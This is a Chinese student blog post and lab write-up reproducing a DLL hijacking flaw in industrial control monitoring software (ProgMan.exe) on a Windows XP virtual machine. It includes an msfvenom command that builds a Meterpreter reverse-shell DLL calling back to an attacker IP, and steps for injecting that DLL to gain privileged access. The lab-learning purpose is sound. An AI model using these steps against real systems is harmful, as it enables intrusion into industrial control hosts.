工控软件DLL劫持漏洞复现


紧张刺激前所未有突如其来惨绝人寰的线上期末考试结束了,我也要开始做实验室的工作了,这学期因为学姐在准备毕业,我也划水了好久,中间只做过一些小任务,那么这个暑假就要把该还的帐还清了(突然泪目)。

我在期末考试前和博士联系过了,说自己想要学习渗透测试方面的内容,那么第一个任务就是复现DLL劫持。谨以此博,纪念我考后生还(划掉)的第一个小任务。

啊啊啊啊正在做的时候那个新带我的学长跟我说他也试了下,没实现…没事,我尽管做我自己的。

基本概念

  1. DLL:动态链接库。是Windows操作系统中实现二进制级共享函数库的编程和运行环境。
  2. Windows平台可执行文件执行过程:Windows平台上当一个可执行文件运行时,加载器将可执行文件映射到进程的地址空间中,加载器分析文件的输入表,查找出需要的DLL,并逐个将它们映射到进程的地址空间中,最后初始化并开始运行,在运行过程中会调用加载到内存中的DLL所包含的功能函数。
  3. DLL劫持:由于可执行文件的输入表只提供了DLL的名称,没有其他详细信息,当查找的过程中发生了冒名顶替时间,就发生了劫持。黑客可以伪造接口相同功能不同的同名DLL,放在可执行文件运行优先查找的路径上,就能冒名顶替使黑客目标功能的DLL被加载到内存并被调用执行。

复现步骤

1. 安装Kali Linux虚拟机

Kali用得好,牢饭吃到饱…啊不是,工具无罪。

Kali之前安装过,还在上面配置了Mulval(攻击图项目的第一个任务),所以这次也是轻车熟路,除了中间“选择安装软件”可能是因为网络问题吧,失败了两次。

如何在VMWare上安装Kali Linux 2020.2版本的虚拟机详见该文

2. 安装Windows XP SP3靶机

本来我想用我家那台十年前的机器(前段时间升级了下内存和硬盘,还能用),但又怕搞坏了不好交代,所以还是老老实实下虚拟机吧。

这个在官网没找到资源,就随便在其他地方找了个资源,安全性无法保证,凑活着用吧。

具体安装过程…傻瓜式操作应该不需要教程吧?

界面提示我大概要二三十分钟,实际过程没那么长,一局游戏都没打完呢…

3. 在XP上安装需要的软件

首先是紫金桥监控组态软件 V6.5。我在xp上打不开这个网站,所以就在win10下下载后利用vmtools(xp系统搭建好后自动下载了vmtools,挺省心的)将该软件复制了过来。

另外也要安装Process Explorer

4. 寻找可劫持进程ProgMan.exe的DLL

开启进程ProgMan.exe(即紫金桥监控组态软件,在安装目录下可以找到该执行文件),打开procexp。其实两者无关先后。在procexp下可以看到ProgMan.exe进程,然后按照我的选项配置,可以看到下面的窗口。

与注册表相对比:

这说明我们的ws2help.dll满足dll劫持的要求。

5. 生成源码CPP文件和dll文件

首先要配置Python2.7环境,这个不必多说。安装好后,pip下载所需要的包pefile,这个包没多大,没必要再换源了。下载好后,在Github上下载我们需要的一个DLL_Hijacker.py文件,然后cd到该文件所在位置,在命令行中执行:

DLL_Hijacker.py c:\WINDOWS\system32\ws2help.dll

结果如下:

同时,在该目录下,ws2help.cpp文件也已经生成了。

然后将ws2help.cpp编译为ws2help.dll。这一步需要用到VC++6.0,推荐直接在靶机中安装(Win10不太兼容)。具体步骤如下:

  1. 在VC++ 6.0中新建一个Win32 Dynamic-Link Library工程,名称任意。

  2. 创建一个简单的DLL工程

  3. 将ws2help.cpp中的代码复制到该工程Source File文件夹下的XXX.cpp(XXX为工程名)文件中,注意加上如图所示的头文件。

  4. 如果刚开始就直接编译ws2help.cpp,会报错,解决方法是先编译同目录下的StdAfx.cpp文件,没有错误后再编译ws2help.cpp。编译方法为“组建–>编译xxx.cpp”。

  5. 编译无误后,点击“组建–>组建xxx.dll”,正确完成后,可以在工程目录下的Debug文件夹下找到生成的dll文件。

之后,将该dll文件放入与progman.exe同一目录下,再次打开ProgMan.exe,会有弹窗提示。

6. 利用msf基于dll劫持实现权限提升

进入kali,检查msfvenom是否正常(在命令行中输入msfvenom)。若正常,则在命令行键入:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<本机IP> LPORT=1234 -f dll >/root/ws2help.dll

之后,会在root下生成我们需要的ws2help.dll文件,将该文件拷贝到靶机(XP)下。这一步可能会比较麻烦,可以将该文件放入压缩包内,再进行复制粘贴。

在Kali命令行中输入msfconsole开启msf,利用msf中的handler模块开启监听:

在靶机中开启进程ProgMan.exe,利用Dllinject.exe,将ws2help.dll注入到进程。这里好像对ws2help.dll和Dllinject.exe的位置也有要求,最开始我把它们俩同时放在ProgMan.exe所在目录下,但Dllinject.exe无法正常运行。之后我把ws2help.dll放在桌面,Dllinject.exe放在其他目录下,可以正常运行了。

找到ProgMan进程,点击注入,注入时要选择ws2help.dll所在位置,其他不用填。回到Kali,发现已经提权成功了。

实验结束。

后记

本实验对于刚刚接触渗透测试的我来说,说难也不难,但也确实花了很长时间,主要就是在编译cpp文件为dll时出了问题。我一直在尝试在命令行界面直接通过g++命令来进行编译,但结果总是错误的。最终,在王博士的提示下,我用了VC++6.0来进行编译。一开始也出了问题,因为VC++6.0版本过于古老,和Win10不兼容,无论我怎么编译,都会报错。在网上查到了解决方法,但一一尝试后,都没有用。最后只得下载了Win7虚拟机,别问我为什么不直接在Win XP下下载,因为我一开始以为XP也不兼容…嘛,反正都解决啦,不管那么多啦!

这只是渗透测试之路的起点,就遇到了难啃的硬骨头,以后会遇到多少麻烦可想而知,但我相信自己可以坚持学下去,加油!


文章作者: 恰醋
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 恰醋 !
评论
  目录